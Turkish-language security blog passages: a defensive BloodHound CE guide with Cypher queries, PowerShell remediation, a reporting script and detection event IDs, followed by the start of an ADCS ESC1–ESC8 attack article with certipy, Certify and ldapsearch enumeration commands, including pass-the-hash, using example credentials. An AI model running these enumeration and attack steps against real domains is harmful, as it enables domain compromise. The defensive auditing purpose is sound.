ORDER BY u.admincount DESC, HopsToDA ASC

// AS-REP Roastable + son 90 günde aktif
MATCH (u:User {dontreqpreauth:true, enabled:true})
WHERE u.lastlogontimestamp > (timestamp()/1000 - 7776000)
RETURN u.name, u.lastlogontimestamp, u.admincount

İyileştirme: Tüm hesaplar için Kerberos ön kimlik doğrulamasını etkinleştirin. Bu seçenek genellikle UNIX/Linux sistemlerin eski sürümlerini desteklemek için devre dışı bırakılmıştır — modern Kerberos istemcileri bunu destekler.

3. Unconstrained Delegation

Unconstrained delegation yapılandırılmış bir bilgisayara herhangi bir kullanıcı bağlandığında, o kullanıcının TGT'si bilgisayar belleğinde (LSASS) saklanır. Saldırgan bu bilgisayarı ele geçirirse ve PrintSpooler (MS-RPRN) gibi coercion saldırılarıyla DC'yi bu bilgisayara bağlatabilirse, DC'nin TGT'sini çalabilir — bu tam domain compromise anlamına gelir.

// Unconstrained delegation bilgisayarlar (DC'ler hariç)
MATCH (c:Computer {unconstraineddelegation:true, enabled:true})
WHERE NOT c.name CONTAINS 'DC'
RETURN c.name,
       c.operatingsystem,
       c.lastlogontimestamp,
       c.haslaps
ORDER BY c.name

// Bu bilgisayarlara lokal admin olan kullanıcılar
MATCH (u:User)-[:AdminTo]->(c:Computer {unconstraineddelegation:true, enabled:true})
WHERE NOT c.name CONTAINS 'DC'
RETURN u.name, c.name, u.enabled

İyileştirme seçenekleri:

Unconstrained delegation'ı tamamen devre dışı bırak
Resource-Based Constrained Delegation (RBCD) ile değiştir
Bilgisayarı Protected Users grubuna ekle (delegation engellenir)
"Account is sensitive and cannot be delegated" bayrağını set et (hesap bazında)
DC'de PrintSpooler servisi devre dışı bırak (coercion engeli)

4. DCSync Hakları

DCSync, Domain Controller'ı taklit ederek tüm domain'in hash'lerini çeken bir saldırı tekniğidir. Bir hesabın bunu yapabilmesi için AD'de özel replikasyon izinleri (DS-Replication-Get-Changes-All) olması gerekir. Bu izin sadece DC bilgisayar hesaplarında ve bazı özel servis hesaplarında (MSOL_, AZURE_) olmalıdır.

// DCSync hakları olan tüm principal'lar
MATCH p=(n)-[:DCSync]->(d:Domain)
RETURN n.name, n.objectid, labels(n) as NodeType

// DC bilgisayarları hariç tut — bunlar meşru
MATCH p=(n)-[:DCSync]->(d:Domain)
WHERE NOT (n:Computer AND (
  n.name CONTAINS 'DC'
  OR n.name CONTAINS 'DOMAINCTRL'
))
RETURN n.name, labels(n) as NodeType, n.objectid

// DCSync + Domain Admin olmayan hesaplar
MATCH (n)-[:DCSync]->(d:Domain)
WHERE NOT EXISTS {
  MATCH (n)-[:MemberOf*..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
}
RETURN n.name, labels(n)

İyileştirme: Azure AD Connect ve ADFS servis hesapları dışında hiçbir hesapta DCSync hakkı olmamalıdır. Yetkisiz DCSync hakları için hemen kaldırın ve son 30 günlük NTDS audit loglarını inceleyin.

5. LAPS Olmayan Bilgisayarlar

LAPS (Local Administrator Password Solution), her workstation'ın lokal Administrator şifresini otomatik olarak döndürür ve AD'de şifrelenmiş olarak depolar. LAPS olmayan ortamlarda tüm workstation'lar aynı lokal admin şifresine sahip olabilir — bir makineyi ele geçirmek tüm ağa pivot imkânı verir.

// LAPS olmayan aktif bilgisayarlar
MATCH (c:Computer {enabled:true})
WHERE c.haslaps = false
RETURN c.name,
       c.operatingsystem,
       c.lastlogontimestamp
ORDER BY c.lastlogontimestamp DESC NULLS LAST

// LAPS oranı (yüzde)
MATCH (c:Computer {enabled:true})
WITH count(c) as total
MATCH (c:Computer {enabled:true, haslaps:true})
RETURN count(c) as WithLAPS, total, (count(c)*100/total) as Percentage

// İşletim sistemine göre LAPS durumu
MATCH (c:Computer {enabled:true})
RETURN c.operatingsystem,
       count(c) as Total,
       sum(CASE WHEN c.haslaps THEN 1 ELSE 0 END) as WithLAPS
ORDER BY c.operatingsystem

Defensif Cypher Sorguları — Tam Kütüphane

Aşağıda blue team'lerin BloodHound CE'de düzenli olarak çalıştırması gereken sekiz temel sorgu kategorisi detaylandırılmıştır.

Sorgu 1: Domain Admin'e En Kısa Yollar

// Tüm etkin kullanıcılardan DA'ya en kısa yol (ilk 20)
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..10]->
  (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
WHERE NOT u.name STARTS WITH 'CORP\\DA-'
RETURN u.name, length(p) as PathLength
ORDER BY PathLength ASC
LIMIT 20

// En kısa yol uzunluğu dağılımı (kaç kullanıcı kaç adımda)
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..10]->
  (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
WITH length(p) as hops, count(u) as UserCount
RETURN hops, UserCount
ORDER BY hops ASC

Sorgu 2: DCSync Hakları

// DCSync haklarını tam olarak göster
MATCH p=(n)-[:DCSync]->(d:Domain)
WHERE NOT (n:Computer AND n.name CONTAINS 'DC')
RETURN n.name,
       n.objectid,
       labels(n) as NodeType,
       d.name as Domain
ORDER BY n.name

Sorgu 3: Unconstrained Delegation Bilgisayarlar

// Unconstrained delegation + LAPS durumu + son aktiflik
MATCH (c:Computer {unconstraineddelegation:true, enabled:true})
WHERE NOT c.name CONTAINS 'DC'
RETURN c.name,
       c.operatingsystem,
       c.haslaps,
       datetime({epochSeconds: toInteger(c.lastlogontimestamp)}) as LastSeen
ORDER BY c.lastlogontimestamp DESC NULLS LAST

Sorgu 4: Kerberoastable Hesaplar (Tier 2'den Ulaşılabilir)

// Tier 2 kullanıcısından ulaşılabilir Kerberoastable hesaplar
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..5]->
  (k:User {hasspn:true, enabled:true})
)
WHERE NOT u.admincount
RETURN u.name as SourceUser,
       k.name as KerberoastableTarget,
       k.serviceprincipalnames as SPNs,
       length(p) as Hops
ORDER BY Hops ASC
LIMIT 50

Sorgu 5: Kullanılmayan Admin Hesapları (90+ gün)

// 90 gün boyunca kullanılmayan admincount hesapları
MATCH (u:User {admincount:true, enabled:true})
WHERE u.lastlogontimestamp < (timestamp() / 1000 - 7776000)
RETURN u.name,
       u.description,
       datetime({epochSeconds: toInteger(u.lastlogontimestamp)}) as LastLogon,
       datetime({epochSeconds: toInteger(u.pwdlastset)}) as PasswordLastSet
ORDER BY u.lastlogontimestamp ASC

// Hiç giriş yapmamış admin hesapları
MATCH (u:User {admincount:true, enabled:true})
WHERE u.lastlogontimestamp <= 0 OR u.lastlogontimestamp IS NULL
RETURN u.name, u.description, u.whencreated

Sorgu 6: LAPS Olmayan Bilgisayarlar

// LAPS eksik, aktif, domain-joined bilgisayarlar
MATCH (c:Computer {enabled:true})
WHERE c.haslaps = false
RETURN c.name,
       c.operatingsystem,
       datetime({epochSeconds: toInteger(c.lastlogontimestamp)}) as LastSeen
ORDER BY c.operatingsystem, c.name

Sorgu 7: AS-REP Roastable Hesaplar

// Kerberos ön auth devre dışı, etkin hesaplar
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath(
  (u)-[*1..10]->
  (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
RETURN u.name,
       u.admincount,
       u.description,
       length(p) as HopsToDA
ORDER BY HopsToDA ASC NULLS LAST

Sorgu 8: AdminSDHolder Dışı GenericAll Yetkisi

// Yüksek değerli hedeflere sahip, düşük ayrıcalıklı hesaplar
MATCH (u:User {enabled:true})-[:GenericAll|GenericWrite]->(t)
WHERE NOT u.admincount
AND (t:Group OR t:Computer OR t:User)
AND (t.highvalue OR t.admincount)
RETURN u.name as Attacker,
       t.name as HighValueTarget,
       labels(t) as TargetType
ORDER BY u.name

Bonus — Shadow Credentials (msDS-KeyCredentialLink):

// GenericWrite/GenericAll → msDS-KeyCredentialLink manipülasyonu
MATCH (u:User {enabled:true})-[r:GenericWrite|GenericAll|WriteAccountRestrictions]->(t:User|Computer)
WHERE NOT u.admincount
RETURN u.name as Source,
       t.name as Target,
       type(r) as EdgeType,
       t.enabled as TargetEnabled
ORDER BY u.name

Bonus — ADCS ESC Yolları:

// Sertifika şablonu aracılığıyla DC'ye yol
MATCH p=(u:User {enabled:true})
  -[:Enroll|GenericAll|GenericWrite]->
  (ct:CertTemplate)
  -[:PublishedTo]->
  (ca:EnterpriseCA)
WHERE ct.enrolleeSuppliesSubject = true
OR ct.authenticationenabled = true
RETURN u.name, ct.name, ca.name, ct.enrolleeSuppliesSubject

// ADCS ESC1: Herhangi bir kullanıcı enroll edebilir + EKU authentication
MATCH (ct:CertTemplate)
WHERE ct.enrolleeSuppliesSubject = true
AND ct.authenticationenabled = true
AND ct.requiresmanagerapproval = false
RETURN ct.name, ct.oid

Saldırı Yolu Önceliklendirme

Büyük organizasyonlarda yüzlerce saldırı yolu bulunabilir. Hepsini aynı anda düzeltmek mümkün değildir. Önceliklendirme için sistematik bir yaklaşım gerekir.

Risk Skoru Hesaplama:

Risk skoru = Etki × Olasılık × Exposure

Etki (1-5): Yol nereye götürüyor? Tier 0'a mı (5), Tier 1'e mi (3), Tier 2'ye mi (1)?
Olasılık (1-5): Yol uzunluğu. 1-2 hop (5), 3-4 hop (3), 5+ hop (1).
Exposure (1-3): Başlangıç hesabı internete maruz mu? Helpdesk/VPN/Webmail hesabı (3), internal-only kullanıcı (1).

Önceliklendirme Matrisi:

Risk Skoru	Aksiyon	SLA
60-75	ACİL — Hemen ele al	24-48 saat
40-59	YÜKSEK — Bu sprint	1 hafta
20-39	ORTA — Planlı düzeltme	1 ay
0-19	DÜŞÜK — Backlog	3 ay

// Önceliklendirme verisi: yol uzunluğu + hesap aktifliği + admin durumu
MATCH p=shortestPath(
  (u:User {enabled:true})
  -[*1..10]->
  (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
)
WITH u, length(p) as hops
RETURN u.name,
       hops,
       u.admincount,
       u.lastlogontimestamp,
       CASE
         WHEN hops <= 2 THEN 'CRITICAL'
         WHEN hops <= 4 THEN 'HIGH'
         WHEN hops <= 6 THEN 'MEDIUM'
         ELSE 'LOW'
       END as Priority
ORDER BY hops ASC, u.lastlogontimestamp DESC
LIMIT 100

BloodHound CE Attack Paths Sekmesi:

BloodHound CE v5'in "Attack Paths" sekmesi bu önceliklendirmeyi otomatik olarak yapar. Sekmeye erişim:

Sol menü → "Explore" yerine "Attack Paths"
Domain seçin
Tier Zero varlıklarınızı tanımlayın (özelleştirilebilir)
"Findings" bölümü otomatik önceliklendirilmiş liste sunar

Saldırı Yolu İyileştirme İş Akışı

Her kenar (edge) türü için spesifik iyileştirme adımları:

GenericAll / GenericWrite → Kaldır

# PowerView ile ACE kaldır
Import-Module PowerView.ps1

# Kimin erişimi var kontrol et
Get-DomainObjectAcl -Identity "SVC_SQL" -ResolveGUIDs |
  Where-Object {$_.ActiveDirectoryRights -match "GenericAll"}

# ACE kaldır
Remove-DomainObjectAcl `
  -TargetIdentity "SVC_SQL" `
  -PrincipalIdentity "jdoe" `
  -Rights All `
  -Verbose

# AD Module ile kaldır (PowerView yerine)
$acl = Get-Acl "AD:\CN=SVC_SQL,OU=ServiceAccounts,DC=corp,DC=local"
# GenericAll ACE'yi bul ve kaldır
$ace = $acl.Access | Where-Object {
  $_.IdentityReference -eq "CORP\jdoe" -and
  $_.ActiveDirectoryRights -match "GenericControl"
}
$acl.RemoveAccessRule($ace)
Set-Acl "AD:\CN=SVC_SQL,OU=ServiceAccounts,DC=corp,DC=local" $acl

MemberOf (Yanlış Grup Üyeliği) → Kaldır

# Hesabı Domain Admins'ten kaldır
Remove-ADGroupMember `
  -Identity "Domain Admins" `
  -Members "SVC_SQL" `
  -Confirm:$false

# Tüm admin grup üyeliklerini kontrol et
Get-ADUser "SVC_SQL" -Properties MemberOf |
  Select-Object -ExpandProperty MemberOf |
  Get-ADGroup |
  Where-Object {$_.AdminCount -eq 1}

Unconstrained Delegation → Kaldır veya Kısıtla

# Unconstrained delegation'ı kaldır
Set-ADComputer "APPSERVER01" `
  -TrustedForDelegation $false

# Constrained delegation ile değiştir
Set-ADComputer "APPSERVER01" `
  -TrustedToAuthForDelegation $true  # Protocol transition
Set-ADComputer "APPSERVER01" `
  -ServicePrincipalNames @{Add="HTTP/webapp.corp.local"}

# Protected Users grubuna ekle (hesap bazında — delegation tamamen engellenir)
Add-ADGroupMember "Protected Users" -Members "APPSERVER01$"

Kerberoastable Hesap → gMSA ile Değiştir

# gMSA oluştur
New-ADServiceAccount `
  -Name "gMSA_SQL" `
  -DNSHostName "sql-srv01.corp.local" `
  -PrincipalsAllowedToRetrieveManagedPassword "SQL-SRV01$" `
  -KerberosEncryptionType AES128,AES256

# SQL Server servisini gMSA ile yapılandır
# SQL Server Configuration Manager → Service Account → NT SERVICE\gMSA_SQL$

# Eski servis hesabını devre dışı bırak
Disable-ADAccount "svc_sql"

HasSession → PAW Uygula

# Tier 0 admin hesaplarının Tier 2 makinelerde oturum açmasını engelle
# Restricted Admin Mode GPO
# Computer Config → Admin Templates → System → Credentials Delegation
# "Restrict delegation of credentials to remote servers" = Enabled

# Protected Users grubuna admin hesapları ekle
Add-ADGroupMember "Protected Users" -Members "DA-jsmith"

# Logon workstations kısıtla (hesap bazında)
Set-ADUser "DA-jsmith" -LogonWorkstations "PAW-01,PAW-02,PAW-03"

BloodHound ile ADCS (Active Directory Certificate Services) Analizi

ADCS, son yıllarda kritik bir saldırı yüzeyi olarak ön plana çıktı. Will Schroeder ve Lee Christensen'ın "Certified Pre-Owned" araştırması, onlarca farklı sertifika şablonu kötüye kullanım senaryosunu belgeledi. BloodHound CE, ADCS ilişkilerini (CertTemplate, EnterpriseCA, IssuedSignedBy) grafik üzerinde modelleyerek bu saldırı yollarını görselleştirir.

ESC1 — Enrollee Supplies Subject + EKU Auth:

// ESC1: Herhangi kullanıcı kendini DC olarak tanıtabilen sertifika alabilir
MATCH (ct:CertTemplate)
WHERE ct.enrolleeSuppliesSubject = true
AND ct.authenticationenabled = true
AND ct.requiresmanagerapproval = false
AND ct.nosecurityextension = false
MATCH (ca:EnterpriseCA)-[:PublishedTo]->(ct)
MATCH (u:User {enabled:true})-[:Enroll|GenericAll|GenericWrite]->(ct)
RETURN u.name, ct.name, ca.name
ORDER BY u.name

ESC4 — Template Overwrite:

// ESC4: Kullanıcı sertifika şablonunu değiştirebilir
MATCH (u:User {enabled:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner]->(ct:CertTemplate)
WHERE NOT u.admincount
RETURN u.name, ct.name, u.enabled
ORDER BY u.name

ESC7 — CA Officer/Manager:

// ESC7: CA manage yetkisi — isteğe bağlı sertifika onayı
MATCH (u:User {enabled:true})-[:ManageCertificates|ManageCA]->(ca:EnterpriseCA)
WHERE NOT u.admincount
RETURN u.name, ca.name

ADCS İyileştirme Kontrol Listesi:

# Tüm sertifika şablonlarını listele
certutil -v -template | Select-String "Template Name:"

# ESC1 için: EnrolleesCanRequestCertificates kaldır
# Certificates snap-in (certtmpl.msc):
# Şablon → Özellikler → Konu Adı → "Bu bilgiyi Active Directory'den al" seçin

# Manager approval zorunlu kıl (kritik şablonlar için)
# Şablon → Özellikler → Verme Gereksinimleri → "CA yöneticisinin onayı" = ON

# NTLM relay için HTTP'yi devre dışı bırak (ESC8)
# IIS Authentication → Devre Dışı Bırak: Windows Authentication (NTLM)
# Etkinleştir: HTTPS + FQDN enrollment

Otomatik Raporlama ve Sürekli İzleme

BloodHound CE, REST API sunar. Bu API'yi kullanarak haftalık otomatik raporlama sistemi kurabilirsiniz.

# BloodHound CE API kimlik doğrulama
TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"login_name":"admin","secret":"YourPassword123"}' \
  | jq -r '.data.session_token')

echo "Token: $TOKEN"

#!/usr/bin/env python3
"""
BloodHound CE Haftalık Defensif Rapor
Her Pazartesi sabahı çalıştırın: cron 0 8 * * 1
"""
import requests
import json
from datetime import datetime, timedelta

BHCE_URL = "http://localhost:8080"
USERNAME = "svc_reporting"
PASSWORD = "SecureP@ss!"

def get_token():
    r = requests.post(f"{BHCE_URL}/api/v2/auth/login",
                      json={"login_name": USERNAME, "secret": PASSWORD})
    return r.json()["data"]["session_token"]

def run_cypher(token, query):
    headers = {"Authorization": f"Bearer {token}",
               "Content-Type": "application/json"}
    r = requests.post(f"{BHCE_URL}/api/v2/graphs/cypher",
                      headers=headers,
                      json={"query": query})
    return r.json()

def generate_weekly_report():
    token = get_token()
    report = {
        "date": datetime.now().isoformat(),
        "findings": {}
    }

    # En kısa yollar
    da_paths = run_cypher(token, """
        MATCH p=shortestPath(
          (u:User {enabled:true})-[*1..10]->
          (g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
        )
        RETURN u.name, length(p) as hops
        ORDER BY hops ASC LIMIT 20
    """)
    report["findings"]["shortest_paths_to_da"] = da_paths

    # DCSync hakları
    dcsync = run_cypher(token, """
        MATCH (n)-[:DCSync]->(d:Domain)
        WHERE NOT (n:Computer AND n.name CONTAINS 'DC')
        RETURN n.name, labels(n)
    """)
    report["findings"]["dcsync_accounts"] = dcsync

    # Stale adminler
    stale = run_cypher(token, f"""
        MATCH (u:User {admincount:true, enabled:true})
        WHERE u.lastlogontimestamp < {int((datetime.now() - timedelta(days=90)).timestamp())}
        RETURN u.name, u.lastlogontimestamp
        ORDER BY u.lastlogontimestamp ASC
    """)
    report["findings"]["stale_admins"] = stale

    # Raporu kaydet
    filename = f"bhce_report_{datetime.now().strftime('%Y%m%d')}.json"
    with open(filename, 'w') as f:
        json.dump(report, f, indent=2)

    print(f"[+] Rapor kaydedildi: {filename}")
    return report

if __name__ == "__main__":
    report = generate_weekly_report()

    # Kritik bulgular için uyarı
    if report["findings"]["dcsync_accounts"].get("data", {}).get("nodes"):
        print("[!] KRİTİK: Yetkisiz DCSync hesapları tespit edildi!")
        # E-posta/Slack/Teams bildirimi gönderin

Delta Analizi — Haftadan Haftaya Değişim:

def compare_reports(old_report, new_report):
    """Önceki haftaya göre yeni saldırı yollarını tespit et"""
    old_users = set(
        item["u.name"]
        for item in old_report["findings"]["shortest_paths_to_da"].get("data", {}).get("nodes", [])
    )
    new_users = set(
        item["u.name"]
        for item in new_report["findings"]["shortest_paths_to_da"].get("data", {}).get("nodes", [])
    )

    new_exposures = new_users - old_users
    fixed_paths = old_users - new_users

    if new_exposures:
        print(f"[!] YENİ MARUZ KALAN HESAPLAR: {new_exposures}")
    if fixed_paths:
        print(f"[+] İYİLEŞTİRİLEN HESAPLAR: {fixed_paths}")

Savunma Yatırımı Öncelikleri

BloodHound analizi tamamlandığında, mevcut bulgulara bakılmaksızın şu temel güvenlik kontrolleri her AD ortamında olmalıdır:

1. Tier 0 İzolasyonu

DC'ler, CA'lar ve ADFS için ayrı OU yapısı
PAW (Privileged Access Workstation): Tier 0 yönetimi için ayrı, hardened iş istasyonları
Admin hesapları için ayrı kimlik bilgileri (jsmith ≠ DA-jsmith)
JIT (Just-In-Time) erişim: admin hakları sadece gerektiğinde ve süre sınırlı

2. Tüm Admin Hesapları için MFA

Azure AD MFA veya Microsoft Authenticator
Smart card / Windows Hello for Business (FIDO2)
Phishing-resistant MFA tercih edilmeli
Conditional Access ile konuma ve cihaza göre kısıtlama

3. LAPS Deployment

Windows LAPS (Windows 11 / Server 2022 dahili)
Eski Windows: Microsoft LAPS MSI
Her workstation ve server'a — DC'ler hariç
Şifre rotasyonu: 24 saat (workstations), 48 saat (servers)
LAPS şifresine erişimi ayrıcalıklı gruplara sınırlayın

4. SMB Signing Zorunlu

# GPO: Computer Configuration → Windows Settings →
# Security Settings → Local Policies → Security Options
# "Microsoft network server: Digitally sign communications (always)" = Enabled
# "Microsoft network client: Digitally sign communications (always)" = Enabled

5. Protected Users Grubu

Tüm Tier 0 hesapları Protected Users üyesi olmalı
Etkiler: RC4 kaldırır, delegation engeller, NTLM kaldırır, TGT süresi kısalır
Dikkat: Bazı eski uygulamalar NTLM gerektiriyor olabilir — test edin!

6. Credential Guard

# Credential Guard aktifleştir (UEFI + Secure Boot gerekli)
# GPO: Computer Config → Admin Templates → System → Device Guard
# "Turn On Virtualization Based Security" = Enabled
# "Credential Guard Configuration" = Enabled with UEFI lock

# PowerShell ile kontrol
(Get-ComputerInfo).DeviceGuardSecurityServicesRunning

7. Haftalık BloodHound Analizi

SharpHound koleksiyonu: Her Pazar gecesi otomatik
Delta analizi: Yeni yollar var mı?
Ticket oluştur: Öncelikli bulgular için Jira/ServiceNow
Metrikleri izle: Domain'deki ortalama yol uzunluğu trend analizi

8. Audit Logging (Olay İzleme)

# DCSync attempt detection — Event ID 4662
# DS-Replication-Get-Changes-All erişim girişimi
# SIEM kuralı: Event 4662 + AccessMask = 0x100 veya 0x10

# AdminSDHolder değişiklik tespiti — Event ID 5136
# SIEM kuralı: 5136 + ObjectClass = ms-DS-Admin-Count

# Yetkisiz ACL değişikliği — Event ID 5136, 4670
# Kerberoast girişimi — Event ID 4769 + TicketOptions 0x40810000

Referanslar ve Kaynaklar

Birincil Kaynaklar:

Andy Robbins, Rohan Vazarkar, Will Schroeder — BloodHound (2016) ve tüm subsequent research
SpecterOps — Attack Path Management metodolojisi ve BloodHound CE
GitHub: github.com/SpecterOps/BloodHound (Apache 2.0)

Akademik ve Teknik Referanslar:

Microsoft ESAE (Enhanced Security Admin Environment) — Emekli oldu, yerine Enterprise Access Model geçti
Microsoft Enterprise Access Model — Katmanlı yönetim için güncel rehber
"Certified Pre-Owned" — Will Schroeder, Lee Christensen (ADCS saldırıları)
"The Dog Whisperer's Handbook" — harmj0y (BloodHound kullanım rehberi)
"An Ace Up the Sleeve" — Andy Robbins, Will Schroeder (ACL saldırıları)
"Not a Security Boundary" — Andy Robbins (forest trust saldırıları)

Araçlar:

SharpHound: github.com/SpecterOps/SharpHound
BloodHound.py: github.com/dirkjanm/BloodHound.py
PowerView: github.com/PowerShellMafia/PowerSploit
Impacket: github.com/fortra/impacket (DCSync, AS-REP roasting, Kerberoasting)
Certipy: github.com/ly4k/Certipy (ADCS saldırı ve analiz)

AD Sertifika Servisleri Derinlemesine: ESC1'den ESC8'e Tüm Saldırı Yolları

2026-06-29T09:00:00Z

Giriş: PKI'nın Karanlık Yüzü

Active Directory Certificate Services (ADCS), Microsoft'un kurumsal ortamlar için sunduğu Public Key Infrastructure (PKI) çözümüdür. Şirket içi sertifika yönetimi, akıllı kart kimlik doğrulaması, VPN sertifikaları, e-posta şifreleme ve kod imzalama gibi kritik işlevleri yerine getirir. Kurumsal Active Directory ortamlarının büyük çoğunluğunda en az bir ADCS sunucusu bulunur — ve bu sunucular onlarca yıl boyunca güvenlik testlerinin radarına girmeden çalışmıştır.

2021 yılında SpecterOps'tan Will Schroeder ve Lee Christensen, "Certified Pre-Owned" başlıklı devasa bir teknik araştırma yayımladı. Bu araştırma, ADCS'in nasıl domain ele geçirme silahına dönüştürülebileceğini 8 farklı saldırı kategorisiyle (ESC1–ESC8) belgeledi. Araştırmacıların keşfi son derece çarpıcıydı: Bir ADCS yanlış yapılandırması, domain'i tek bir certipy komutuyla teslim edebilir.

Bu yazıda ESC1'den ESC8'e (ve ESC9/ESC10'a değinerek) tüm saldırı vektörlerini, her birinin teknik koşullarını, LDAP attribute'larını, OID değerlerini ve adım adım sömürü yöntemlerini inceleyeceğiz.

ADCS Mimarisi: Temel Kavramlar

Root CA vs Enterprise CA

ADCS'de iki temel CA türü vardır:

Root CA (Kök Sertifika Otoritesi): PKI hiyerarşisinin en tepesinde yer alır. Kendi sertifikasını kendisi imzalar (self-signed). Kurumsal best practice'e göre offline tutulur ve doğrudan sertifika vermez.
Subordinate / Enterprise CA (Alt Sertifika Otoritesi): Root CA tarafından imzalanmış bir sertifikaya sahiptir. Active Directory'e entegre çalışır ve domain üyelerine sertifika verir. CORP-CA gibi isimler alır.

Enterprise CA, Active Directory'deki aşağıdaki container'larda kayıtlıdır:

CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local

Certificate Template Nedir?

Sertifika şablonu (certificate template), bir CA'nın nasıl sertifika üreteceğini tanımlayan bir politika nesnesidir. LDAP'ta şu yerde bulunur:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local

Her şablon, aşağıdaki kritik attribute'lara sahiptir:

Attribute	Açıklama
`msPKI-Certificate-Name-Flag`	SAN kontrolü (ESC1 burada yaşar)
`msPKI-Enrollment-Flag`	Onay gereksinimi, PEND_ALL_REQUESTS
`pKIExtendedKeyUsage`	EKU OID listesi
`msPKI-RA-Signature`	Enrollment agent imzası gereksinimi
`nTSecurityDescriptor`	Template üzerindeki ACL (ESC4 burada)
`msPKI-Certificate-Application-Policy`	Application policies

EKU OID'leri ve Anlamları

Extended Key Usage (EKU), bir sertifikanın hangi amaçla kullanılabileceğini belirtir:

OID	Kullanım Adı	ADCS Relevansı
`1.3.6.1.5.5.7.3.2`	Client Authentication	ESC1/ESC2 için gerekli
`1.3.6.1.5.2.3.4`	PKINIT Client Auth	Kerberos PKINIT ile kimlik doğrulama
`1.3.6.1.4.1.311.20.2.2`	Smart Card Logon	Windows akıllı kart girişi
`2.5.29.37.0`	Any Purpose	ESC2 — tüm amaçlar için geçerli
`1.3.6.1.4.1.311.20.2.1`	Enrollment Agent	ESC3 — başkası adına enrollment
`1.3.6.1.5.5.7.3.3`	Code Signing	Kod imzalama

Enrollment Süreci

Client, bir Certificate Signing Request (CSR) oluşturur
CSR, CA'ya gönderilir (RPC, DCOM veya HTTP certsrv)
CA, template politikasını kontrol eder
Onay gerekmiyorsa (CT_FLAG_PEND_ALL_REQUESTS yoksa) sertifika anında verilir
Sertifika, client'ın sertifika deposuna (certificate store) eklenir

Keşif: Ortamı Haritalandırmak

Certipy ile Vulnerable Template Keşfi

# Temel vulnerable template taraması
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout

# BloodHound için JSON çıktısı (eski format)
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -old-bloodhound

# Tüm template detayları (vulnerable olmayanlar dahil)
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -stdout

# Pass-the-Hash ile
certipy find -u jdoe@corp.local -hashes ':NT_HASH_HERE' -dc-ip 10.10.10.10 -vulnerable -stdout

# Kerberos ticket ile
certipy find -u jdoe@corp.local -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout

Windows'tan Certify.exe ile

# Tüm vulnerable template'leri bul
Certify.exe find /vulnerable /currentuser

# Tüm template'leri listele
Certify.exe find /showAllPermissions

# Belirli bir CA'yı sorgula
Certify.exe find /ca:CORP-CA /vulnerable

# PKIAudit modülü ile
Import-Module PKIAudit
Get-PKIAuditSettings -CA 'corp.local\CORP-CA'
Invoke-PKIAudit

LDAP ile Manuel Keşif

# ldapsearch ile ESC1 potansiyeli olan şablonları bul
ldapsearch -H ldap://10.10.10.10 \
  -D "jdoe@corp.local" -w 'Password123' \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" \
  msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pKIExtendedKeyUsage

BloodHound'da ADCS

BloodHound 4.2+ sürümünde ADCS edge'leri mevcuttur:

Enroll — Template'e enrollment hakkı
GenericWrite — Template'i yazabilme (ESC4)
WriteDACL — Template DACL'ini değiştirme (ESC4)
ManageCertificates — CA üzerinde yönetim (ESC7)
ManageCA — CA konfigürasyonunu değiştirme (ESC7)

ESC1 — ENROLLEE_SUPPLIES_SUBJECT: En Yaygın ADCS Açığı

ESC1, en sık karşılaşılan ve en dramatik sonuçlar doğuran ADCS açığıdır. Saldırgan, enrollment sırasında Subject Alternative Name (SAN) alanını kendisi belirleyebilir ve bu sayede herhangi bir domain kullanıcısını — hatta Domain Admin'i — taklit edebilir.

Dört Zorunlu Koşul

Koşul 1 — CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:

Şablon üzerinde aşağıdaki flag set edilmiş olmalıdır:

msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x00000001)

Bu flag, CA'ya "enrollment yapan kişi SAN alanını kendisi belirleyebilir" demektedir.

Koşul 2 — Client Authentication EKU:

Şablon, aşağıdakilerden en az birini içermelidir:

pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2   (Client Authentication)
pKIExtendedKeyUsage: 1.3.6.1.5.2.3.4      (PKINIT Client Auth)
pKIExtendedKeyUsage: 1.3.6.1.4.1.311.20.2.2  (Smart Card Logon)
pKIExtendedKeyUsage: 2.5.29.37.0           (Any Purpose - ESC2)

Bu EKU değerlerinden biri mevcut değilse, elde edilen sertifika Kerberos PKINIT ile kimlik doğrulamak için kullanılamaz.

Koşul 3 — No Manager Approval:

msPKI-Enrollment-Flag: 0x00000000  (veya CT_FLAG_PEND_ALL_REQUESTS flag'i OLMAMALI)

CT_FLAG_PEND_ALL_REQUESTS (0x00000002) flag'i varsa, tüm enrollment istekleri CA yöneticisinin onayını bekler. Bu durumda ESC1 saldırısı engellenmiş olur.

Koşul 4 — Low-Privilege Users Can Enroll:

Template DACL'inde aşağıdaki gibi bir ACE bulunmalıdır:

Allow: CORP\Domain Users — Certificate-Enrollment (Extended Right: 0F58D46F-5A46-11D1-86F6-00C04FB9988E)

veya

Allow: NT AUTHORITY\Authenticated Users — Certificate-Enrollment

Certipy ile ESC1 Saldırısı — Adım Adım

# Adım 1: Vulnerable template'i bul
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
